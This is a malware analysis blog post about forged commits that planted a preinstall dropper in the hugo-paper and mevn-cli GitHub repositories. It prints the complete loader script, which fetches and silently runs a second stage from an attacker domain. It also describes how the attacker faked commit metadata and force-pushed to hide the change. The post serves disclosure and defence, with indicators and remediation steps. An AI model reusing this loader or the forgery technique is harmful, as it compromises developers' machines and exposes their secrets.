Forged Commits Push a preinstall Dropper into hugo-paper and mevn-cli

• • 5 min read

An attacker slipped a malicious preinstall script into two GitHub projects, hugo-paper and mevn-cli. Run npm install or bun install in either one, and it fetches a script from buildwithknexus[.]xyz and runs it in the background. No npm package carries the payload, so registry scanners never see it.

The attacker pushed straight to the default branches and copied the author, date, and message of a real commit, so the history looks untouched.

The dropper

The forged commits add two changes. The first is a new hook as the first entry under "scripts" in package.json:

hugo-paper a68d2c9b / package.json (excerpt)
"preinstall": "node scripts/preinstall.js"
JSON 2 lines

The second is the loader, copied from the forged hugo-paper commit. Do not run it.

hugo-paper a68d2c9b / scripts/preinstall.js
'use strict';

const { execSync } = require('child_process');

const platform = process.platform;
const silent = { stdio: 'ignore' };

if (platform === 'win32') {
  try {
    execSync('curl.exe -ks https://buildwithknexus.xyz/check_w -o "%TEMP%\\check.cmd"', { ...silent, shell: true });
    execSync('cmd /c ""%TEMP%\\check.cmd" & exit /b 0"', { ...silent, shell: true });
  } catch (error) {}
} else if (platform === 'darwin') {
  execSync(
    'nohup sh -c "curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check&&exec bash /tmp/check" </dev/null >/dev/null 2>&1 &',
    silent
  );
} else if (platform === 'linux') {
  execSync(
    'nohup sh -c "curl -ks https://buildwithknexus.xyz/check_m -o /tmp/check&&exec bash /tmp/check" </dev/null >/dev/null 2>&1 &',
    silent
  );
} else {
  execSync(`echo Preinstall on unsupported platform: ${platform}`, silent);
}
JS 26 lines

Source: scripts/preinstall.js at a68d2c9b.

PlatformBehavior
WindowsDownloads hxxps://buildwithknexus[.]xyz/check_w to %TEMP%\check.cmd and runs it with cmd. The script ignores errors, so the install still passes.
macOS / LinuxStarts a detached nohup job that downloads hxxps://buildwithknexus[.]xyz/check_m to /tmp/check and runs it with bash.
OtherRuns a harmless echo.

The -k flag turns off TLS certificate checks and -s hides curl output. Every execSync call sets stdio to ignore, so nothing reaches the terminal. On macOS and Linux, the install finishes normally while the second stage keeps running.

This file is a first-stage downloader. The server controls the second stage (check_m and check_w) and can change it at any time. SafeDep has not retrieved the second stage and cannot confirm what it does. Treat any machine that ran the hook as compromised.

The attacker changed the payload once

mevn-cli has two versions of the loader. The first version (sha256 c7b8b06d…5e575f79e) started a hidden PowerShell window on Windows. Its command puts \c sequences without escaping inside a JavaScript string, which likely broke the Windows path. The attacker then pushed the second version (sha256 61412c99…14f9eaf100), which uses curl.exe and cmd /c inside a try block. hugo-paper only received the second version.

The forged hugo-paper commit

On 2026-03-09 the maintainer merged PR #267, a clean two-line template change. GitHub created the merge commit de1169ec, which has two parents and a valid GPG signature.

On 2026-08-21 at 02:22 UTC, the attacker force-pushed a68d2c9b over main. The new commit copies the original metadata and adds the payload:

FieldOriginal de1169ecForged a68d2c9b
Author / committer南小北 / GitHub, 2026-03-09Identical
MessageMerge pull request #267 …Identical
Parents7c6a6c5, f1c0ba87c6a6c5 only
SignatureValid GPG (GitHub web flow)None
Files2 templates2 templates, package.json, scripts/preinstall.js

git diff de1169ec a68d2c9b shows only the two malicious files. The commit list on GitHub still shows the same message, avatar, and March date. You can spot the forgery two ways. The “Verified” badge is gone, and the merge commit has one parent instead of two. The PR API still reports merge_commit_sha as de1169ec, which no longer exists on any branch.

The author of PR #267 had no part in this. Their commit f1c0ba8 is clean.

The appended mevn-cli commits

The attack on mevn-cli came first, on 2026-08-20 at 11:23 UTC. Here the attacker appended new commits instead of replacing the tip. Each one copies the author, timestamp, and message of the commit before it, on two branches:

mevn-cli / branch history
develop (default branch)
  d6c30b2  "docs: replace obsolete Travis badge…"   legitimate, README only
  eabf4d9  same message, author, and timestamp       adds payload v1 and the preinstall hook
  f883021  same message, author, and timestamp       upgrades to payload v2 (HEAD)

master
  d6f8eb1  "1.8.1" (tag v1.8.1, 2020-08-23)          legitimate
  3a30d0d  same message, author, and timestamp       adds payload v1 and package.json from develop
  ceb4558  same message, author, and timestamp       upgrades to payload v2 (branch tip)
TEXT 10 lines

The maintainer never signed commits, so no “Verified” badge disappears. The master commits carry a 2020 date, which makes them look old. The existing postinstall hook (opencollective-postinstall) is legitimate and predates the attack.

Source: scripts/preinstall.js at f8830218.

Common technique across both repositories

  • A direct push under the maintainer identity, with a force push where needed. No pull request or review.
  • A copy of the author, committer, timestamps, and message of the current tip commit.
  • Changes to the default branch and to other long-lived branches.
  • The same file path, scripts/preinstall.js, and the same hook as the first entry under "scripts".
  • The same host, buildwithknexus[.]xyz, with paths /check_m and /check_w.
  • No npm release. hugo-paper is not published to npm, and the last mevn-cli release (1.8.3, 2022) is clean.

The attacker hit two unrelated maintainers within 15 hours, each with commits under their own identity. That points to stolen push credentials, such as a personal access token or SSH key. SafeDep infers this from the pattern and has not confirmed how the attacker got them.

Scope

Forks and copies made after the attack inherit the payload. These repositories carry it:

RepositoryCreatedType
otzbergnet/hugo-paper2026-09-19Fork of hugo-paper
brendah4557/mevn-cli2026-10-18Fork of mevn-cli
Andreas9036/mevn-cli2026-10-19Fork of mevn-cli
MatildaHan/blog-paper2026-10-19Copy of hugo-paper

SafeDep found no dropper in the other repositories of these accounts. No evidence links the fork owners to the attacker.

Relation to GlassWorm and ForceMemo

The git trick is the same one GlassWorm and ForceMemo used earlier in 2026. Steal the GitHub credentials of a maintainer, rewrite the tip commit, and force-push it with the original message and author.

The tooling is different. GlassWorm hides an encoded loader in invisible Unicode and uses a Solana memo for command and control. This campaign uses plaintext curl and a fixed domain, and shares no indicators with either attack. SafeDep treats it as a separate cluster and will revisit that if the second stage points to either one.

Timeline

All times are UTC.

DateEvent
2026-03-09 08:46Signed merge de1169ec of PR #267 on hugo-paper
2026-07-23Last legitimate commit d6c30b2 on mevn-cli develop
2026-08-20 11:23mevn-cli develop and master poisoned (v1, then v2)
2026-08-21 02:22hugo-paper main force-pushed to forged a68d2c9b (v2)
2026-09-19First known fork with the payload created
2026-10-20 07:11Issue #272 filed on hugo-paper

Am I affected?

You are affected if both of these are true:

  1. You cloned or pulled hugo-paper main after 2026-08-21, mevn-cli develop or master after 2026-08-20, or one of the forks above.
  2. You ran npm install, bun install, yarn, or pnpm install in that checkout without --ignore-scripts.

If you use the theme only as a Hugo module or git submodule and never ran a JavaScript package install, the hook never ran on your machine.

If you are affected:

  1. Treat the machine or CI runner as compromised. Look for /tmp/check, %TEMP%\check.cmd, and any process or log entry that mentions buildwithknexus.xyz.
  2. Rotate every secret that the machine could reach. This includes GitHub tokens and SSH keys, npm tokens, cloud credentials, .env files, and credentials stored in the browser.
  3. Block buildwithknexus.xyz at DNS or proxy level and search egress logs for earlier connections.

Indicators of compromise

IoC: hugo-paper and mevn-cli campaign
Row Indicator Type Notes
1 buildwithknexus.xyz Domain Second-stage host
2 https://buildwithknexus.xyz/check_m URL Linux and macOS second stage (bash)
3 https://buildwithknexus.xyz/check_w URL Windows second stage (.cmd)
4 /tmp/check File path Linux and macOS drop path
5 %TEMP%\check.cmd File path Windows drop path
6 61412c992ff0aac0ce629ebff224a198dda59ed878ebea03f2d51b14f9eaf100 SHA-256 scripts/preinstall.js v2
7 c7b8b06dc41b9f9172375de622627bcc37b7c972a3ec6a371f5e2e56e575f79e SHA-256 scripts/preinstall.js v1
8 a68d2c9b2ad9d857b09dcb30a578ac1de6487061 Git commit hugo-paper main (forged)
9 eabf4d93f660e5a837c80cc8a73d554db2ecf3ec Git commit mevn-cli develop (payload v1)
10 f8830218b5d70d068cca19a45df261a8cf19f30d Git commit mevn-cli develop (payload v2)
11 3a30d0d7ca9f877fb1be33929a8a34f887fe5702 Git commit mevn-cli master (payload v1)
12 ceb455875c320a764fa6ac102674f161509d3394 Git commit mevn-cli master (payload v2)
13 de1169ec320dc12bce509273c03bd6a745ef9645 Git commit hugo-paper main (last good)
14 d6c30b223c7db4d275faad6e82b4d87c16601dae Git commit mevn-cli develop (last good)
15 d6f8eb1900f8f40c6009796774d3dfe9146bfab5 Git commit mevn-cli master (last good; tag v1.8.1)
15 rows
| 3 columns
  • github
  • npm
  • malware
  • supply-chain
  • forced-push

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.